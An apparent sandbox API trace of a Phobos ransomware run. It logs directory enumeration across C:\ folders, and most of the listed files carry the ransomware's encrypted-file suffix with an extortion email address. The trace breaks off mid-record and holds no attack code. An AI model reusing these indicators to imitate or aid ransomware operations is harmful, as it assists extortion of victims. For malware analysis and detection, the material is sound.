[0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) [0131.946] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.947] SetLastError (dwErrCode=0x0) [0131.947] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.948] SetLastError (dwErrCode=0x0) [0131.948] GetLastError () returned 0x0 [0131.949] SetLastError (dwErrCode=0x0) [0131.949] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbb8aba, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbb8aba, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc2b066, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="OOBE_2~1.PHO")) returned 1 [0131.949] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbdeca4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbdeca4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc04f50, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 1 [0131.949] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbdeca4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbdeca4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc04f50, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 0 [0131.949] FindClose (in: hFindFile=0x7390a8 | out: hFindFile=0x7390a8) returned 1 [0131.949] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0131.950] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0131.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7393e8 [0131.951] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.951] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc9d90a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc9d90a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecd41c6e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="GETCUR~1.PHO")) returned 1 [0131.951] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccc3a6f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeccc3a6f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecce9c9a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="GETCUR~2.PHO")) returned 1 [0131.951] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc776bf, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc776bf, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc9d90a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 1 [0131.952] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccc3a6f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeccc3a6f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeccc3a6f, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PREOOB~1.PHO")) returned 1 [0131.952] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecda89dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecda89dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecda89dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPC~1.PHO")) returned 1 [0131.952] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecda89dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecda89dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecda89dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPC~1.PHO")) returned 0 [0131.952] FindClose (in: hFindFile=0x7393e8 | out: hFindFile=0x7393e8) returned 1 [0131.952] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0131.953] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0131.953] FindClose (in: hFindFile=0x7392e8 | out: hFindFile=0x7392e8) returned 1 [0131.953] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b30058 | out: hHeap=0xf10000) returned 1 [0131.953] FindNextFileW (in: hFindFile=0x739068, lpFindFileData=0x12ffcb8 | out: lpFindFileData=0x12ffcb8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12ffee0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0131.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7393e8 [0131.953] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0131.953] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0131.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7390a8 [0131.954] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.954] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 1 [0131.954] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 0 [0131.954] FindClose (in: hFindFile=0x7390a8 | out: hFindFile=0x7390a8) returned 1 [0131.954] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0131.954] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0131.954] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0131.955] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.955] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x73275b92, ftCreationTime.dwHighDateTime=0x1d5120a, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0131.955] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 1 [0131.955] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 0 [0131.955] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0131.955] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0131.955] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0131.955] FindClose (in: hFindFile=0x7393e8 | out: hFindFile=0x7393e8) returned 1 [0131.955] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b30058 | out: hHeap=0xf10000) returned 1 [0131.955] FindNextFileW (in: hFindFile=0x739068, lpFindFileData=0x12ffcb8 | out: lpFindFileData=0x12ffcb8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12ffee0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0131.956] SetEvent (hEvent=0x29c) returned 1 [0131.956] ResetEvent (hEvent=0x2a0) returned 1 [0131.956] FindNextFileW (in: hFindFile=0x739068, lpFindFileData=0x12ffcb8 | out: lpFindFileData=0x12ffcb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12ffee0, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0131.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7390a8 [0131.956] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0131.956] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1025", cAlternateFileName="")) returned 1 [0131.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x739128 [0131.957] FindNextFileW (in: hFindFile=0x739128, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.957] FindNextFileW (in: hFindFile=0x739128, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0131.957] FindNextFileW (in: hFindFile=0x739128, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf4c310, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x122f2, dwReserved0=0x0, 